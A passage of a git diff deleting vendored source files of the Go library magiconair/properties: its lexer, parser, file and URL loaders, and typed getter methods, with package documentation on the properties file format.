properties.UTF8) -// -// To load multiple properties files use MustLoadFiles() -// which loads the files in the given order and merges the -// result. Missing properties files can be ignored if the -// 'ignoreMissing' flag is set to true. -// -// Filenames can contain environment variables which are expanded -// before loading. -// -// f1 := "/etc/myapp/myapp.conf" -// f2 := "/home/${USER}/myapp.conf" -// p := MustLoadFiles([]string{f1, f2}, properties.UTF8, true) -// -// All of the different key/value delimiters ' ', ':' and '=' are -// supported as well as the comment characters '!' and '#' and -// multi-line values. -// -// ! this is a comment -// # and so is this -// -// # the following expressions are equal -// key value -// key=value -// key:value -// key = value -// key : value -// key = val\ -// ue -// -// Properties stores all comments preceding a key and provides -// GetComments() and SetComments() methods to retrieve and -// update them. The convenience functions GetComment() and -// SetComment() allow access to the last comment. The -// WriteComment() method writes properties files including -// the comments and with the keys in the original order. -// This can be used for sanitizing properties files. -// -// Property expansion is recursive and circular references -// and malformed expressions are not allowed and cause an -// error. Expansion of environment variables is supported. -// -// # standard property -// key = value -// -// # property expansion: key2 = value -// key2 = ${key} -// -// # recursive expansion: key3 = value -// key3 = ${key2} -// -// # circular reference (error) -// key = ${key} -// -// # malformed expression (error) -// key = ${ke -// -// # refers to the users' home dir -// home = ${HOME} -// -// # local key takes precendence over env var: u = foo -// USER = foo -// u = ${USER} -// -// The default property expansion format is ${key} but can be -// changed by setting different pre- and postfix values on the -// Properties object. -// -// p := properties.NewProperties() -// p.Prefix = "#[" -// p.Postfix = "]#" -// -// Properties provides convenience functions for getting typed -// values with default values if the key does not exist or the -// type conversion failed. -// -// # Returns true if the value is either "1", "on", "yes" or "true" -// # Returns false for every other value and the default value if -// # the key does not exist. -// v = p.GetBool("key", false) -// -// # Returns the value if the key exists and the format conversion -// # was successful. Otherwise, the default value is returned. -// v = p.GetInt64("key", 999) -// v = p.GetUint64("key", 999) -// v = p.GetFloat64("key", 123.0) -// v = p.GetString("key", "def") -// v = p.GetDuration("key", 999) -// -// As an alterantive properties may be applied with the standard -// library's flag implementation at any time. -// -// # Standard configuration -// v = flag.Int("key", 999, "help message") -// flag.Parse() -// -// # Merge p into the flag set -// p.MustFlag(flag.CommandLine) -// -// Properties provides several MustXXX() convenience functions -// which will terminate the app if an error occurs. The behavior -// of the failure is configurable and the default is to call -// log.Fatal(err). To have the MustXXX() functions panic instead -// of logging the error set a different ErrorHandler before -// you use the Properties package. -// -// properties.ErrorHandler = properties.PanicHandler -// -// # Will panic instead of logging an error -// p := properties.MustLoadFile("config.properties") -// -// You can also provide your own ErrorHandler function. The only requirement -// is that the error handler function must exit after handling the error. -// -// properties.ErrorHandler = func(err error) { -// fmt.Println(err) -// os.Exit(1) -// } -// -// # Will write to stdout and then exit -// p := properties.MustLoadFile("config.properties") -// -// Properties can also be loaded into a struct via the `Decode` -// method, e.g. -// -// type S struct { -// A string `properties:"a,default=foo"` -// D time.Duration `properties:"timeout,default=5s"` -// E time.Time `properties:"expires,layout=2006-01-02,default=2015-01-01"` -// } -// -// See `Decode()` method for the full documentation. -// -// The following documents provide a description of the properties -// file format. -// -// http://en.wikipedia.org/wiki/.properties -// -// http://docs.oracle.com/javase/7/docs/api/java/util/Properties.html#load%28java.io.Reader%29 -// -package properties diff --git a/vendor/github.com/magiconair/properties/integrate.go b/vendor/github.com/magiconair/properties/integrate.go deleted file mode 100644 index 0d775e0350..0000000000 --- a/vendor/github.com/magiconair/properties/integrate.go +++ /dev/null @@ -1,34 +0,0 @@ -// Copyright 2017 Frank Schroeder. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package properties - -import "flag" - -// MustFlag sets flags that are skipped by dst.Parse when p contains -// the respective key for flag.Flag.Name. -// -// It's use is recommended with command line arguments as in: -// flag.Parse() -// p.MustFlag(flag.CommandLine) -func (p *Properties) MustFlag(dst *flag.FlagSet) { - m := make(map[string]*flag.Flag) - dst.VisitAll(func(f *flag.Flag) { - m[f.Name] = f - }) - dst.Visit(func(f *flag.Flag) { - delete(m, f.Name) // overridden - }) - - for name, f := range m { - v, ok := p.Get(name) - if !ok { - continue - } - - if err := f.Value.Set(v); err != nil { - ErrorHandler(err) - } - } -} diff --git a/vendor/github.com/magiconair/properties/lex.go b/vendor/github.com/magiconair/properties/lex.go deleted file mode 100644 index a3cba0319d..0000000000 --- a/vendor/github.com/magiconair/properties/lex.go +++ /dev/null @@ -1,408 +0,0 @@ -// Copyright 2017 Frank Schroeder. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. -// -// Parts of the lexer are from the template/text/parser package -// For these parts the following applies: -// -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file of the go 1.2 -// distribution. - -package properties - -import ( - "fmt" - "strconv" - "strings" - "unicode/utf8" -) - -// item represents a token or text string returned from the scanner. -type item struct { - typ itemType // The type of this item. - pos int // The starting position, in bytes, of this item in the input string. - val string // The value of this item. -} - -func (i item) String() string { - switch { - case i.typ == itemEOF: - return "EOF" - case i.typ == itemError: - return i.val - case len(i.val) > 10: - return fmt.Sprintf("%.10q...", i.val) - } - return fmt.Sprintf("%q", i.val) -} - -// itemType identifies the type of lex items. -type itemType int - -const ( - itemError itemType = iota // error occurred; value is text of error - itemEOF - itemKey // a key - itemValue // a value - itemComment // a comment -) - -// defines a constant for EOF -const eof = -1 - -// permitted whitespace characters space, FF and TAB -const whitespace = " \f\t" - -// stateFn represents the state of the scanner as a function that returns the next state. -type stateFn func(*lexer) stateFn - -// lexer holds the state of the scanner. -type lexer struct { - input string // the string being scanned - state stateFn // the next lexing function to enter - pos int // current position in the input - start int // start position of this item - width int // width of last rune read from input - lastPos int // position of most recent item returned by nextItem - runes []rune // scanned runes for this item - items chan item // channel of scanned items -} - -// next returns the next rune in the input. -func (l *lexer) next() rune { - if l.pos >= len(l.input) { - l.width = 0 - return eof - } - r, w := utf8.DecodeRuneInString(l.input[l.pos:]) - l.width = w - l.pos += l.width - return r -} - -// peek returns but does not consume the next rune in the input. -func (l *lexer) peek() rune { - r := l.next() - l.backup() - return r -} - -// backup steps back one rune. Can only be called once per call of next. -func (l *lexer) backup() { - l.pos -= l.width -} - -// emit passes an item back to the client. -func (l *lexer) emit(t itemType) { - i := item{t, l.start, string(l.runes)} - l.items <- i - l.start = l.pos - l.runes = l.runes[:0] -} - -// ignore skips over the pending input before this point. -func (l *lexer) ignore() { - l.start = l.pos -} - -// appends the rune to the current value -func (l *lexer) appendRune(r rune) { - l.runes = append(l.runes, r) -} - -// accept consumes the next rune if it's from the valid set. -func (l *lexer) accept(valid string) bool { - if strings.ContainsRune(valid, l.next()) { - return true - } - l.backup() - return false -} - -// acceptRun consumes a run of runes from the valid set. -func (l *lexer) acceptRun(valid string) { - for strings.ContainsRune(valid, l.next()) { - } - l.backup() -} - -// acceptRunUntil consumes a run of runes up to a terminator. -func (l *lexer) acceptRunUntil(term rune) { - for term != l.next() { - } - l.backup() -} - -// hasText returns true if the current parsed text is not empty. -func (l *lexer) isNotEmpty() bool { - return l.pos > l.start -} - -// lineNumber reports which line we're on, based on the position of -// the previous item returned by nextItem. Doing it this way -// means we don't have to worry about peek double counting. -func (l *lexer) lineNumber() int { - return 1 + strings.Count(l.input[:l.lastPos], "\n") -} - -// errorf returns an error token and terminates the scan by passing -// back a nil pointer that will be the next state, terminating l.nextItem. -func (l *lexer) errorf(format string, args ...interface{}) stateFn { - l.items <- item{itemError, l.start, fmt.Sprintf(format, args...)} - return nil -} - -// nextItem returns the next item from the input. -func (l *lexer) nextItem() item { - i := <-l.items - l.lastPos = i.pos - return i -} - -// lex creates a new scanner for the input string. -func lex(input string) *lexer { - l := &lexer{ - input: input, - items: make(chan item), - runes: make([]rune, 0, 32), - } - go l.run() - return l -} - -// run runs the state machine for the lexer. -func (l *lexer) run() { - for l.state = lexBeforeKey(l); l.state != nil; { - l.state = l.state(l) - } -} - -// state functions - -// lexBeforeKey scans until a key begins. -func lexBeforeKey(l *lexer) stateFn { - switch r := l.next(); { - case isEOF(r): - l.emit(itemEOF) - return nil - - case isEOL(r): - l.ignore() - return lexBeforeKey - - case isComment(r): - return lexComment - - case isWhitespace(r): - l.acceptRun(whitespace) - l.ignore() - return lexKey - - default: - l.backup() - return lexKey - } -} - -// lexComment scans a comment line. The comment character has already been scanned. -func lexComment(l *lexer) stateFn { - l.acceptRun(whitespace) - l.ignore() - for { - switch r := l.next(); { - case isEOF(r): - l.ignore() - l.emit(itemEOF) - return nil - case isEOL(r): - l.emit(itemComment) - return lexBeforeKey - default: - l.appendRune(r) - } - } -} - -// lexKey scans the key up to a delimiter -func lexKey(l *lexer) stateFn { - var r rune - -Loop: - for { - switch r = l.next(); { - - case isEscape(r): - err := l.scanEscapeSequence() - if err != nil { - return l.errorf(err.Error()) - } - - case isEndOfKey(r): - l.backup() - break Loop - - case isEOF(r): - break Loop - - default: - l.appendRune(r) - } - } - - if len(l.runes) > 0 { - l.emit(itemKey) - } - - if isEOF(r) { - l.emit(itemEOF) - return nil - } - - return lexBeforeValue -} - -// lexBeforeValue scans the delimiter between key and value. -// Leading and trailing whitespace is ignored. -// We expect to be just after the key. -func lexBeforeValue(l *lexer) stateFn { - l.acceptRun(whitespace) - l.accept(":=") - l.acceptRun(whitespace) - l.ignore() - return lexValue -} - -// lexValue scans text until the end of the line. We expect to be just after the delimiter. -func lexValue(l *lexer) stateFn { - for { - switch r := l.next(); { - case isEscape(r): - if isEOL(l.peek()) { - l.next() - l.acceptRun(whitespace) - } else { - err := l.scanEscapeSequence() - if err != nil { - return l.errorf(err.Error()) - } - } - - case isEOL(r): - l.emit(itemValue) - l.ignore() - return lexBeforeKey - - case isEOF(r): - l.emit(itemValue) - l.emit(itemEOF) - return nil - - default: - l.appendRune(r) - } - } -} - -// scanEscapeSequence scans either one of the escaped characters -// or a unicode literal. We expect to be after the escape character. -func (l *lexer) scanEscapeSequence() error { - switch r := l.next(); { - - case isEscapedCharacter(r): - l.appendRune(decodeEscapedCharacter(r)) - return nil - - case atUnicodeLiteral(r): - return l.scanUnicodeLiteral() - - case isEOF(r): - return fmt.Errorf("premature EOF") - - // silently drop the escape character and append the rune as is - default: - l.appendRune(r) - return nil - } -} - -// scans a unicode literal in the form \uXXXX. We expect to be after the \u. -func (l *lexer) scanUnicodeLiteral() error { - // scan the digits - d := make([]rune, 4) - for i := 0; i < 4; i++ { - d[i] = l.next() - if d[i] == eof || !strings.ContainsRune("0123456789abcdefABCDEF", d[i]) { - return fmt.Errorf("invalid unicode literal") - } - } - - // decode the digits into a rune - r, err := strconv.ParseInt(string(d), 16, 0) - if err != nil { - return err - } - - l.appendRune(rune(r)) - return nil -} - -// decodeEscapedCharacter returns the unescaped rune. We expect to be after the escape character. -func decodeEscapedCharacter(r rune) rune { - switch r { - case 'f': - return '\f' - case 'n': - return '\n' - case 'r': - return '\r' - case 't': - return '\t' - default: - return r - } -} - -// atUnicodeLiteral reports whether we are at a unicode literal. -// The escape character has already been consumed. -func atUnicodeLiteral(r rune) bool { - return r == 'u' -} - -// isComment reports whether we are at the start of a comment. -func isComment(r rune) bool { - return r == '#' || r == '!' -} - -// isEndOfKey reports whether the rune terminates the current key. -func isEndOfKey(r rune) bool { - return strings.ContainsRune(" \f\t\r\n:=", r) -} - -// isEOF reports whether we are at EOF. -func isEOF(r rune) bool { - return r == eof -} - -// isEOL reports whether we are at a new line character. -func isEOL(r rune) bool { - return r == '\n' || r == '\r' -} - -// isEscape reports whether the rune is the escape character which -// prefixes unicode literals and other escaped characters. -func isEscape(r rune) bool { - return r == '\\' -} - -// isEscapedCharacter reports whether we are at one of the characters that need escaping. -// The escape character has already been consumed. -func isEscapedCharacter(r rune) bool { - return strings.ContainsRune(" :=fnrt", r) -} - -// isWhitespace reports whether the rune is a whitespace character. -func isWhitespace(r rune) bool { - return strings.ContainsRune(whitespace, r) -} diff --git a/vendor/github.com/magiconair/properties/load.go b/vendor/github.com/magiconair/properties/load.go deleted file mode 100644 index 278cc2ea01..0000000000 --- a/vendor/github.com/magiconair/properties/load.go +++ /dev/null @@ -1,241 +0,0 @@ -// Copyright 2017 Frank Schroeder. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package properties - -import ( - "fmt" - "io/ioutil" - "net/http" - "os" - "strings" -) - -// Encoding specifies encoding of the input data. -type Encoding uint - -const ( - // UTF8 interprets the input data as UTF-8. - UTF8 Encoding = 1 << iota - - // ISO_8859_1 interprets the input data as ISO-8859-1. - ISO_8859_1 -) - -// Load reads a buffer into a Properties struct. -func Load(buf []byte, enc Encoding) (*Properties, error) { - return loadBuf(buf, enc) -} - -// LoadString reads an UTF8 string into a properties struct. -func LoadString(s string) (*Properties, error) { - return loadBuf([]byte(s), UTF8) -} - -// LoadMap creates a new Properties struct from a string map. -func LoadMap(m map[string]string) *Properties { - p := NewProperties() - for k, v := range m { - p.Set(k, v) - } - return p -} - -// LoadFile reads a file into a Properties struct. -func LoadFile(filename string, enc Encoding) (*Properties, error) { - return loadAll([]string{filename}, enc, false) -} - -// LoadFiles reads multiple files in the given order into -// a Properties struct. If 'ignoreMissing' is true then -// non-existent files will not be reported as error. -func LoadFiles(filenames []string, enc Encoding, ignoreMissing bool) (*Properties, error) { - return loadAll(filenames, enc, ignoreMissing) -} - -// LoadURL reads the content of the URL into a Properties struct. -// -// The encoding is determined via the Content-Type header which -// should be set to 'text/plain'. If the 'charset' parameter is -// missing, 'iso-8859-1' or 'latin1' the encoding is set to -// ISO-8859-1. If the 'charset' parameter is set to 'utf-8' the -// encoding is set to UTF-8. A missing content type header is -// interpreted as 'text/plain; charset=utf-8'. -func LoadURL(url string) (*Properties, error) { - return loadAll([]string{url}, UTF8, false) -} - -// LoadURLs reads the content of multiple URLs in the given order into a -// Properties struct. If 'ignoreMissing' is true then a 404 status code will -// not be reported as error. See LoadURL for the Content-Type header -// and the encoding. -func LoadURLs(urls []string, ignoreMissing bool) (*Properties, error) { - return loadAll(urls, UTF8, ignoreMissing) -} - -// LoadAll reads the content of multiple URLs or files in the given order into a -// Properties struct. If 'ignoreMissing' is true then a 404 status code or missing file will -// not be reported as error. Encoding sets the encoding for files. For the URLs please see -// LoadURL for the Content-Type header and the encoding. -func LoadAll(names []string, enc Encoding, ignoreMissing bool) (*Properties, error) { - return loadAll(names, enc, ignoreMissing) -} - -// MustLoadString reads an UTF8 string into a Properties struct and -// panics on error. -func MustLoadString(s string) *Properties { - return must(LoadString(s)) -} - -// MustLoadFile reads a file into a Properties struct and -// panics on error. -func MustLoadFile(filename string, enc Encoding) *Properties { - return must(LoadFile(filename, enc)) -} - -// MustLoadFiles reads multiple files in the given order into -// a Properties struct and panics on error. If 'ignoreMissing' -// is true then non-existent files will not be reported as error. -func MustLoadFiles(filenames []string, enc Encoding, ignoreMissing bool) *Properties { - return must(LoadFiles(filenames, enc, ignoreMissing)) -} - -// MustLoadURL reads the content of a URL into a Properties struct and -// panics on error. -func MustLoadURL(url string) *Properties { - return must(LoadURL(url)) -} - -// MustLoadURLs reads the content of multiple URLs in the given order into a -// Properties struct and panics on error. If 'ignoreMissing' is true then a 404 -// status code will not be reported as error. -func MustLoadURLs(urls []string, ignoreMissing bool) *Properties { - return must(LoadURLs(urls, ignoreMissing)) -} - -// MustLoadAll reads the content of multiple URLs or files in the given order into a -// Properties struct. If 'ignoreMissing' is true then a 404 status code or missing file will -// not be reported as error. Encoding sets the encoding for files. For the URLs please see -// LoadURL for the Content-Type header and the encoding. It panics on error. -func MustLoadAll(names []string, enc Encoding, ignoreMissing bool) *Properties { - return must(LoadAll(names, enc, ignoreMissing)) -} - -func loadBuf(buf []byte, enc Encoding) (*Properties, error) { - p, err := parse(convert(buf, enc)) - if err != nil { - return nil, err - } - return p, p.check() -} - -func loadAll(names []string, enc Encoding, ignoreMissing bool) (*Properties, error) { - result := NewProperties() - for _, name := range names { - n, err := expandName(name) - if err != nil { - return nil, err - } - var p *Properties - if strings.HasPrefix(n, "http://") || strings.HasPrefix(n, "https://") { - p, err = loadURL(n, ignoreMissing) - } else { - p, err = loadFile(n, enc, ignoreMissing) - } - if err != nil { - return nil, err - } - result.Merge(p) - - } - return result, result.check() -} - -func loadFile(filename string, enc Encoding, ignoreMissing bool) (*Properties, error) { - data, err := ioutil.ReadFile(filename) - if err != nil { - if ignoreMissing && os.IsNotExist(err) { - LogPrintf("properties: %s not found. skipping", filename) - return NewProperties(), nil - } - return nil, err - } - p, err := parse(convert(data, enc)) - if err != nil { - return nil, err - } - return p, nil -} - -func loadURL(url string, ignoreMissing bool) (*Properties, error) { - resp, err := http.Get(url) - if err != nil { - return nil, fmt.Errorf("properties: error fetching %q. %s", url, err) - } - if resp.StatusCode == 404 && ignoreMissing { - LogPrintf("properties: %s returned %d. skipping", url, resp.StatusCode) - return NewProperties(), nil - } - if resp.StatusCode != 200 { - return nil, fmt.Errorf("properties: %s returned %d", url, resp.StatusCode) - } - body, err := ioutil.ReadAll(resp.Body) - if err != nil { - return nil, fmt.Errorf("properties: %s error reading response. %s", url, err) - } - if err = resp.Body.Close(); err != nil { - return nil, fmt.Errorf("properties: %s error reading response. %s", url, err) - } - - ct := resp.Header.Get("Content-Type") - var enc Encoding - switch strings.ToLower(ct) { - case "text/plain", "text/plain; charset=iso-8859-1", "text/plain; charset=latin1": - enc = ISO_8859_1 - case "", "text/plain; charset=utf-8": - enc = UTF8 - default: - return nil, fmt.Errorf("properties: invalid content type %s", ct) - } - - p, err := parse(convert(body, enc)) - if err != nil { - return nil, err - } - return p, nil -} - -func must(p *Properties, err error) *Properties { - if err != nil { - ErrorHandler(err) - } - return p -} - -// expandName expands ${ENV_VAR} expressions in a name. -// If the environment variable does not exist then it will be replaced -// with an empty string. Malformed expressions like "${ENV_VAR" will -// be reported as error. -func expandName(name string) (string, error) { - return expand(name, make(map[string]bool), "${", "}", make(map[string]string)) -} - -// Interprets a byte buffer either as an ISO-8859-1 or UTF-8 encoded string. -// For ISO-8859-1 we can convert each byte straight into a rune since the -// first 256 unicode code points cover ISO-8859-1. -func convert(buf []byte, enc Encoding) string { - switch enc { - case UTF8: - return string(buf) - case ISO_8859_1: - runes := make([]rune, len(buf)) - for i, b := range buf { - runes[i] = rune(b) - } - return string(runes) - default: - ErrorHandler(fmt.Errorf("unsupported encoding %v", enc)) - } - panic("ErrorHandler should exit") -} diff --git a/vendor/github.com/magiconair/properties/parser.go b/vendor/github.com/magiconair/properties/parser.go deleted file mode 100644 index 90f555cb93..0000000000 --- a/vendor/github.com/magiconair/properties/parser.go +++ /dev/null @@ -1,95 +0,0 @@ -// Copyright 2017 Frank Schroeder. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package properties - -import ( - "fmt" - "runtime" -) - -type parser struct { - lex *lexer -} - -func parse(input string) (properties *Properties, err error) { - p := &parser{lex: lex(input)} - defer p.recover(&err) - - properties = NewProperties() - key := "" - comments := []string{} - - for { - token := p.expectOneOf(itemComment, itemKey, itemEOF) - switch token.typ { - case itemEOF: - goto done - case itemComment: - comments = append(comments, token.val) - continue - case itemKey: - key = token.val - if _, ok := properties.m[key]; !ok { - properties.k = append(properties.k, key) - } - } - - token = p.expectOneOf(itemValue, itemEOF) - if len(comments) > 0 { - properties.c[key] = comments - comments = []string{} - } - switch token.typ { - case itemEOF: - properties.m[key] = "" - goto done - case itemValue: - properties.m[key] = token.val - } - } - -done: - return properties, nil -} - -func (p *parser) errorf(format string, args ...interface{}) { - format = fmt.Sprintf("properties: Line %d: %s", p.lex.lineNumber(), format) - panic(fmt.Errorf(format, args...)) -} - -func (p *parser) expect(expected itemType) (token item) { - token = p.lex.nextItem() - if token.typ != expected { - p.unexpected(token) - } - return token -} - -func (p *parser) expectOneOf(expected ...itemType) (token item) { - token = p.lex.nextItem() - for _, v := range expected { - if token.typ == v { - return token - } - } - p.unexpected(token) - panic("unexpected token") -} - -func (p *parser) unexpected(token item) { - p.errorf(token.String()) -} - -// recover is the handler that turns panics into returns from the top level of Parse. -func (p *parser) recover(errp *error) { - e := recover() - if e != nil { - if _, ok := e.(runtime.Error); ok { - panic(e) - } - *errp = e.(error) - } - return -} diff --git a/vendor/github.com/magiconair/properties/properties.go b/vendor/github.com/magiconair/properties/properties.go deleted file mode 100644 index 4f3d5a458f..0000000000 --- a/vendor/github.com/magiconair/properties/properties.go +++ /dev/null @@ -1,808 +0,0 @@ -// Copyright 2017 Frank Schroeder. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package properties - -// BUG(frank): Set() does not check for invalid unicode literals since this is currently handled by the lexer. -// BUG(frank): Write() does not allow to configure the newline character. Therefore, on Windows LF is used. - -import ( - "fmt" - "io" - "log" - "os" - "regexp" - "strconv" - "strings" - "time" - "unicode/utf8" -) - -// ErrorHandlerFunc defines the type of function which handles failures -// of the MustXXX() functions. An error handler function must exit -// the application after handling the error. -type ErrorHandlerFunc func(error) - -// ErrorHandler is the function which handles failures of the MustXXX() -// functions. The default is LogFatalHandler. -var ErrorHandler ErrorHandlerFunc = LogFatalHandler - -// LogHandlerFunc defines the function prototype for logging errors. -type LogHandlerFunc func(fmt string, args ...interface{}) - -// LogPrintf defines a log handler which uses log.Printf. -var LogPrintf LogHandlerFunc = log.Printf - -// LogFatalHandler handles the error by logging a fatal error and exiting. -func LogFatalHandler(err error) { - log.Fatal(err) -} - -// PanicHandler handles the error by panicking. -func PanicHandler(err error) { - panic(err) -} - -// ----------------------------------------------------------------------------- - -// A Properties contains the key/value pairs from the properties input. -// All values are stored in unexpanded form and are expanded at runtime -type Properties struct { - // Pre-/Postfix for property expansion. - Prefix string - Postfix string - - // DisableExpansion controls the expansion of properties on Get() - // and the check for circular references on Set(). When set to - // true Properties behaves like a simple key/value store and does - // not check for circular references on Get() or on Set(). - DisableExpansion bool - - // Stores the key/value pairs - m map[string]string - - // Stores the comments per key. - c map[string][]string - - // Stores the keys in order of appearance. - k []string -} - -// NewProperties creates a new Properties struct with the default -// configuration for "${key}" expressions. -func NewProperties() *Properties { - return &Properties{ - Prefix: "${", - Postfix: "}", - m: map[string]string{}, - c: map[string][]string{}, - k: []string{}, - } -} - -// Get returns the expanded value for the given key if exists. -// Otherwise, ok is false. -func (p *Properties) Get(key string) (value string, ok bool) { - v, ok := p.m[key] - if p.DisableExpansion { - return v, ok - } - if !ok { - return "", false - } - - expanded, err := p.expand(v) - - // we guarantee that the expanded value is free of - // circular references and malformed expressions - // so we panic if we still get an error here. - if err != nil { - ErrorHandler(fmt.Errorf("%s in %q", err, key+" = "+v)) - } - - return expanded, true -} - -// MustGet returns the expanded value for the given key if exists. -// Otherwise, it panics. -func (p *Properties) MustGet(key string) string { - if v, ok := p.Get(key); ok { - return v - } - ErrorHandler(invalidKeyError(key)) - panic("ErrorHandler should exit") -} - -// ---------------------------------------------------------------------------- - -// ClearComments removes the comments for all keys. -func (p *Properties) ClearComments() { - p.c = map[string][]string{} -} - -// ---------------------------------------------------------------------------- - -// GetComment returns the last comment before the given key or an empty string. -func (p *Properties) GetComment(key string) string { - comments, ok := p.c[key] - if !ok || len(comments) == 0 { - return "" - } - return comments[len(comments)-1] -} - -// ---------------------------------------------------------------------------- - -// GetComments returns all comments that appeared before the given key or nil. -func (p *Properties) GetComments(key string) []string { - if comments, ok := p.c[key]; ok { - return comments - } - return nil -} - -// ---------------------------------------------------------------------------- - -// SetComment sets the comment for the key. -func (p *Properties) SetComment(key, comment string) { - p.c[key] = []string{comment} -} - -// ---------------------------------------------------------------------------- - -// SetComments sets the comments for the key. If the comments are nil then -// all comments for this key are deleted. -func (p *Properties) SetComments(key string, comments []string) { - if comments == nil { - delete(p.c, key) - return - } - p.c[key] = comments -} - -// ---------------------------------------------------------------------------- - -// GetBool checks if the expanded value is one of '1', 'yes', -// 'true' or 'on' if the key exists. The comparison is case-insensitive. -// If the key does not exist the default value is returned. -func (p *Properties) GetBool(key string, def bool) bool { - v, err := p.getBool(key) - if err != nil { - return def - } - return v -} - -// MustGetBool checks if the expanded value is one of '1', 'yes', -// 'true' or 'on' if the key exists. The comparison is case-insensitive. -// If the key does not exist the function panics. -func (p *Properties) MustGetBool(key string) bool { - v, err := p.getBool(key) - if err != nil { - ErrorHandler(err) - } - return v -} - -func (p *Properties) getBool(key string) (value bool, err error) { - if v, ok := p.Get(key); ok { - return boolVal(v), nil - } - return false, invalidKeyError(key) -} - -func boolVal(v string) bool { - v = strings.ToLower(v) - return v == "1" || v == "true" || v == "yes" || v == "on" -} - -// ---------------------------------------------------------------------------- - -// GetDuration parses the expanded value as an time.Duration (in ns) if the -// key exists. If key does not exist or the value cannot be parsed the default -// value is returned. In almost all cases you want to use GetParsedDuration(). -func (p *Properties) GetDuration(key string, def time.Duration) time.Duration { - v, err := p.getInt64(key) - if err != nil { - return def - } - return time.Duration(v) -} - -// MustGetDuration parses the expanded value as an time.Duration (in ns) if -// the key exists. If key does not exist or the value cannot be parsed the -// function panics. In almost all cases you want to use MustGetParsedDuration(). -func (p *Properties) MustGetDuration(key string) time.Duration { - v, err := p.getInt64(key) - if err != nil { - ErrorHandler(err) - } - return time.Duration(v) -} - -// ---------------------------------------------------------------------------- - -// GetParsedDuration parses the expanded value with time.ParseDuration() if the key exists. -// If key does not exist or the value cannot be parsed the default -// value is returned. -func (p *Properties) GetParsedDuration(key string, def time.Duration) time.Duration { - s, ok := p.Get(key) - if !ok { - return def - } - v, err := time.ParseDuration(s) - if err != nil { - return def - } - return v -} - -// MustGetParsedDuration parses the expanded value with time.ParseDuration() if the key exists. -// If key does not exist or the value cannot be parsed the function panics. -func (p *Properties) MustGetParsedDuration(key string) time.Duration { - s, ok := p.Get(key) - if !ok { - ErrorHandler(invalidKeyError(key)) - } - v, err := time.ParseDuration(s) - if err != nil { - ErrorHandler(err) - } - return v -} - -// ---------------------------------------------------------------------------- - -// GetFloat64 parses the expanded value as a float64 if the key exists. -// If key does not exist or the value cannot be parsed the default -// value is returned. -func (p *Properties) GetFloat64(key string, def float64) float64 { - v, err := p.getFloat64(key) - if err != nil { - return def - } - return v -} - -// MustGetFloat64 parses the expanded value as a float64 if the key exists. -// If key does not exist or the value cannot be parsed the function panics. -func (p *Properties) MustGetFloat64(key string) float64 { - v, err := p.getFloat64(key) - if err != nil { - ErrorHandler(err) - } - return v -} - -func (p *Properties) getFloat64(key string) (value float64, err error) { - if v, ok := p.Get(key); ok { - value, err = strconv.ParseFloat(v, 64) - if err != nil { - return 0, err - } - return value, nil - } - return 0, invalidKeyError(key) -} - -// ---------------------------------------------------------------------------- - -// GetInt parses the expanded value as an int if the key exists. -// If key does not exist or the value cannot be parsed the default -// value is returned. If the value does not fit into an int the -// function panics with an out of range error. -func (p *Properties) GetInt(key string, def int) int { - v, err := p.getInt64(key) - if err != nil { - return def - } - return intRangeCheck(key, v) -} - -// MustGetInt parses the expanded value as an int if the key exists. -// If key does not exist or the value cannot be parsed the function panics. -// If the value does not fit into an int the function panics with -// an out of range error. -func (p *Properties) MustGetInt(key string) int { - v, err := p.getInt64(key) - if err != nil { - ErrorHandler(err) - } - return intRangeCheck(key, v) -} - -// ---------------------------------------------------------------------------- - -// GetInt64 parses the expanded value as an int64 if the key exists. -// If key does not exist or the value cannot be parsed the default -// value is returned. -func (p *Properties) GetInt64(key string, def int64) int64 { - v, err := p.getInt64(key) - if err != nil { - return def - } - return v -} - -// MustGetInt64 parses the expanded value as an int if the key exists. -// If key does not exist or the value cannot be parsed the function panics. -func (p *Properties) MustGetInt64(key string) int64 { - v, err := p.getInt64(key) - if err != nil { - ErrorHandler(err) - } - return v -} - -func (p *Properties) getInt64(key string) (value int64, err error) { - if v, ok := p.Get(key); ok { - value, err = strconv.ParseInt(v, 10, 64) - if err != nil { - return 0, err - } - return value, nil - } - return 0, invalidKeyError(key) -} - -// ---------------------------------------------------------------------------- - -// GetUint parses the expanded value as an uint if the key exists. -// If key does not exist or the value cannot be parsed the default -// value is returned. If the value does not fit into an int the -// function panics with an out of range error. -func (p *Properties) GetUint(key string, def uint) uint { - v, err := p.getUint64(key) - if err != nil { - return def - } - return uintRangeCheck(key, v) -} - -// MustGetUint parses the expanded value as an int if the key exists. -// If key does not exist or the value cannot be parsed the function panics. -// If the value does not fit into an int the function panics with -// an out of range error. -func (p *Properties) MustGetUint(key string) uint { - v, err := p.getUint64(key) - if err != nil { - ErrorHandler(err) - } - return uintRangeCheck(key, v) -} - -// ---------------------------------------------------------------------------- - -// GetUint64 parses the expanded value as an uint64 if the key exists. -// If key does not exist or the value cannot be parsed the default -// value is returned. -func (p *Properties) GetUint64(key string, def uint64) uint64 { - v, err := p.getUint64(key) - if err != nil { - return def - } - return v -} - -// MustGetUint64 parses the expanded value as an int if the key exists. -// If key does not exist or the value cannot be parsed the function panics. -func (p *Properties) MustGetUint64(key string) uint64 { - v, err := p.getUint64(key) - if err != nil { - ErrorHandler(err) - } - return v -} - -func (p *Properties) getUint64(key string) (value uint64, err error) { - if v, ok := p.Get(key); ok { - value, err = strconv.ParseUint(v, 10, 64) - if err != nil { - return 0, err - } - return value, nil - } - return 0, invalidKeyError(key) -} - -// ---------------------------------------------------------------------------- - -// GetString returns the expanded value for the given key if exists or -// the default value otherwise. -func (p *Properties) GetString(key, def string) string { - if v, ok := p.Get(key); ok { - return v - } - return def -} - -// MustGetString returns the expanded value for the given key if exists or -// panics otherwise. -func (p *Properties) MustGetString(key string) string { - if v, ok := p.Get(key); ok { - return v - } - ErrorHandler(invalidKeyError(key)) - panic("ErrorHandler should exit") -} - -// ---------------------------------------------------------------------------- - -// Filter returns a new properties object which contains all properties -// for which the key matches the pattern. -func (p *Properties) Filter(pattern string) (*Properties, error) { - re, err := regexp.Compile(pattern) - if err != nil { - return nil, err - } 